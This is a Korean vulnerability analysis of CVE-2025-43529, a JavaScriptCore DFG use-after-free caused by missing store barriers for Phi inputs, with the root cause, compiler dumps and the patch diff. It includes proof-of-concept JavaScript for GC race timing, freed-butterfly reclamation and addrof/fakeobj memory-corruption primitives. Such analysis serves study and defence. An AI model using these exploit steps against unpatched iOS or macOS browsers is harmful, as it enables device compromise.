[하루한줄] JavaScriptCore DFG StoreBarrierInsertionPhase의 Phi 노드 escape 전파 누락으로 인한 Use-After-Free 취약점

URL

https://github.com/jir4vv1t/CVE-2025-43529

Target

  • iOS / iPadOS < 26.2
  • macOS Tahoe < 26.2
  • macOS Sequoia < 15.7.3
  • macOS Sonoma < 14.8.3

Explain

JavaScriptCore는 generational GC를 사용해 힙을 관리합니다. 새로 할당된 객체는 모두 Eden에 들어가고, Eden이 가득 차면 Eden GC가 발생해 살아남은 객체가 old space로 승격됩니다. GC는 객체를 “이미 스캔함 / 스캔 필요 / 재스캔 필요”로 분류해야 하는데, 이는 JSCellcellState 1바이트로 관리됩니다.

StructureID m_structureID;
union {
    uint32_t m_blob;
    struct {
        IndexingType m_indexingTypeAndMisc;
        JSType m_type;
        TypeInfo::InlineTypeFlags m_flags;
        CellState m_cellState;
    };
};

cellState는 White(갓 할당되어 아직 마킹되지 않음), Black(마킹 완료), Grey(원래 Black이었으나 write barrier에 걸려 remembered set에 추가됨, 재스캔 필요) 세 가지 색을 가집니다. 여기에 JSC는 concurrent GC까지 사용하기 때문에, 마킹 스레드가 객체를 스캔하는 동안 메인 스레드가 같은 객체의 참조를 바꾸면 레이스가 발생합니다. 이를 막는 장치가 store barrier이며, DFG 최적화 파이프라인의 StoreBarrierInsertionPhasePutByOffset 같은 메모리 쓰기 노드 뒤에 StoreBarrier 노드를 삽입하는 역할을 합니다.

CVE-2025-43529는 이 StoreBarrierInsertionPhase가 삽입해야 할 store barrier를 삽입하지 않아 발생하는 use-after-free 취약점입니다. Google TAG가 제보했으며 Apple은 iOS 26 이전 버전 사용자를 겨냥한 정교한 공격에 악용된 정황을 확인했다고 밝혔고, CISA KEV에도 등재되었습니다.

1. Root Cause

취약점의 핵심 원인은 escape 처리 시 Phi 노드 자신만 마킹하고, Upsilon을 통해 Phi로 흘러드는 입력 값들은 마킹하지 않는다는 점입니다. 패치 커밋이 기술한 취약 DFG 노드 시나리오는 다음과 같습니다.

BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
   Branch(BB#2, BB#3)

BB#2
...
d: Something
e: Upsilon(@d, ^f)
   Jump(BB#3)

BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@A, @f)
...
h: PutByOffset(@b, ...)
...
  1. BB#1에서 두 객체를 생성하는 과정에 GC가 발생할 수 있으므로 epoch가 증가하고 @A는 old space에 있을 수 있습니다.
  2. 따라서 @g에서 old 객체 @A가 새 객체 @f를 가리키게 되며, 이 시점부터 마킹 스레드가 @A를 통해 @f에 도달할 수 있습니다. 즉 @f를 escape 처리하고 이후 @f의 프로퍼티가 수정되면 store barrier를 넣어야 합니다.
  3. 그런데 컴파일러는 @f만 마킹하고 Upsilon으로 전파되는 입력 @b, @d는 마킹하지 않습니다.
  4. BB#3BB#1에 의해 지배(dominate)되므로 @h@b를 직접 사용할 수 있는데, @b가 마킹되지 않았으니 @h 뒤에 store barrier가 삽입되지 않습니다.

논리적으로 @f@A에 저장되었다면 @f가 될 수 있는 모든 객체(@b 포함)도 @A에 저장된 것과 같습니다. 하지만 컴파일러는 이를 인지하지 못하고 @b를 여전히 GC가 스캔할 필요 없는 안전한 값으로 취급합니다. JS 레벨로 옮기면 다음과 같습니다.

let A = { p0: 0x41414141 };

function jitme(flag) {
    let a = { p0: 13.37 };
    let b = { p0: 0x42424242 };

    let f;
    if (flag) {
        f = b;
    } else {
        f = 1.1;
    }

    A.p0 = f;   // @g : old 객체 A가 f를 가리킴 → StoreBarrier 삽입됨
    b.p0 = a;   // @h : b의 프로퍼티 수정 → StoreBarrier 누락
}
  • -dumpFTLDisassembly=true로 컴파일 결과를 확인하면 A.p0 = f에 대응하는 PutByOffset 뒤에는 FencedStoreBarrier가 붙지만, b.p0 = a에 대응하는 PutByOffset 뒤에는 아무것도 붙지 않습니다.
 8  D@70: PutByOffset(KnownCell:D@65, ..., Check:Untyped:Kill:D@46, ...)   // A.p0 = f
 9  D@78: FencedStoreBarrier(Check:KnownCell:Kill:D@65, ...)              // A에 대한 StoreBarrier
...
11  D@75: PutByOffset(KnownCell:Kill:D@36, ..., Check:Untyped:Kill:D@26, ...)  // b.p0 = a
    // b에 대한 StoreBarrier가 있어야 할 자리
12  D@71: Return(...)

이 상태에서 다음 레이스가 성립하면 use-after-free가 발생합니다.

  1. 마킹 스레드가 old space의 A를 따라 b에 도달해 Ab를 Black으로 마킹합니다.
  2. 메인 스레드가 b.p0 = a를 실행합니다. a는 아직 마킹되지 않은 Eden 객체라 White이므로, Black 객체가 White 객체를 가리키는 상태가 만들어집니다.
  3. 원래는 b가 remembered set에 추가되어야 하지만 store barrier가 없어 GC는 ba를 가리키게 된 사실을 모릅니다. a를 참조하는 다른 것이 없으면 a는 White인 채로 해제됩니다.
  4. 이후 b.p0를 읽으면 해제된 메모리에 접근하게 됩니다.

2. PoC 설명

PoC는 아래 저장소에서 확인이 가능하며, iOS 26.1 / iPadOS 26.1 / macOS Tahoe 26.0.1에서 동작이 확인되었습니다.

https://github.com/jir4vv1t/CVE-2025-43529

레이스 윈도우를 맞추기 위해 Ab가 같은 GC 사이클 안에서 마킹되어야 하며, PoC는 세 가지 기법을 사용합니다. 먼저 A의 스캔이 시작되기까지의 시간을 벌기 위해 큰 배열을 만들고 마지막 인덱스에 A를 배치해 GC가 다른 자식들을 먼저 방문하게 만듭니다.

arr = new Array(0x40_0000).fill(1.1);
let arr_index = arr.length - 1;

let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
arr[arr_index] = A;

다음으로 old space의 A를 스캔시키려면 full GC가 필요하므로 큰 객체를 충분히 할당하고, 미사용으로 최적화되지 않도록 참조를 A.p2에 보관합니다.

let forGC = [];
for (let j = 0; j < allocCount; ++j) {
    let arr = new ArrayBuffer(0x80_0000);
    forGC.push(arr);
}
A.p2 = forGC;

마지막으로 A의 마킹이 끝난 직후에 메인 스레드가 ba 참조를 넣도록 타이밍을 강제하기 위해 큰 루프를 넣고, 루프가 제거되지 않도록 최종 값을 b.p0에 저장합니다.

A.p1 = f;

let v = 1.1;
for (let i = 0; i < 1e6; ++i) {
    for (let j = 0; j < k; ++j) {
        v = i;
        v = j;
    }
}

b.p0 = v;
b.p1 = a;

해제된 butterfly는 해당 MarkedBlock이 재사용될 때 sweep되며 할당자에 반환됩니다. 블록 전체가 비어 있어 free list가 블록 전체를 덮는 하나의 큰 interval로 초기화되므로, 길이 5짜리 배열을 반복 할당하면 해제된 butterfly 주소를 다시 잡을 수 있습니다.

for (let i = 0; i < 1e6; ++i) {
    let arr = [13.37, 2.2, 3.3, 4.4, noCow];
    ref.push(arr);
    if (freed_object[0] === 13.37) {
        reclaimed = true;
        break;
    }
}

butterfly 할당 과정에서 스택에 남은 포인터가 conservative stack scanning에 잡히면 해제되지 않으므로, 재귀 호출로 스택 프레임을 채워 잔존 포인터를 덮어씁니다.

function recursive(n) {
    if (n === 0) return;
    n = n | 0;
    recursive(n - 1);
}
recursive(10000);

같은 butterfly를 공유하는 두 객체의 IndexingType을 다르게 만들면 동일한 메모리를 Double과 Contiguous 양쪽으로 읽을 수 있고, 여기서 전형적인 addrof / fakeobj 프리미티브가 만들어집니다.

let boxed_arr = reclaimed_object;
boxed_arr[0] = {};          // Double -> Contiguous
let unboxed_arr = freed_object;

function addrof(obj) {
    boxed_arr[0] = obj;
    return ftoi(unboxed_arr[0]);
}

function fakeobj(addr) {
    unboxed_arr[0] = itof(addr);
    return boxed_arr[0];
}

여기까지 확보하면 read/write 프리미티브 구성은 어렵지 않지만, 코드 실행을 위해서는 별도로 PAC 우회가 필요합니다.

3. Patch

escape 람다를 별도로 분리하고, Global 모드에서는 forAllTransitiveIncomingValues로 Phi에 전이적으로 흘러드는 모든 입력 노드까지 epoch를 리셋하도록 수정되었습니다.

         UncheckedKeyHashMap<AbstractHeap, Node*> potentialStackEscapes;
-
+        auto escape = & {
+            if (mode == PhaseMode::Global) {
+                m_interpreter->phiChildren()->forAllTransitiveIncomingValues(
+                    node,
+                    & {
+                        incoming->setEpoch(Epoch());
+                    });
+            } else
+                node->setEpoch(Epoch());
+        };
+
         for (m_nodeIndex = 0; m_nodeIndex < block->size(); ++m_nodeIndex) {

@@
                 potentialStackEscapes.removeIf([&] (const auto& entry) {
                     if (entry.key.overlaps(heap)) {
-                        entry.value->setEpoch(Epoch());
+                        escape(entry.value);
                         return true;
@@
             for (auto* node : potentialStackEscapes.values())
-                node->setEpoch(Epoch());
+                escape(node);
             potentialStackEscapes.clear();

노드 자신을 마킹한 뒤 해당 노드가 Phi이면 들어오는 노드들까지 모두 마킹하므로, 위 시나리오에서 @b@d도 escape 처리되어 @h 뒤에 정상적으로 store barrier가 삽입됩니다.

Reference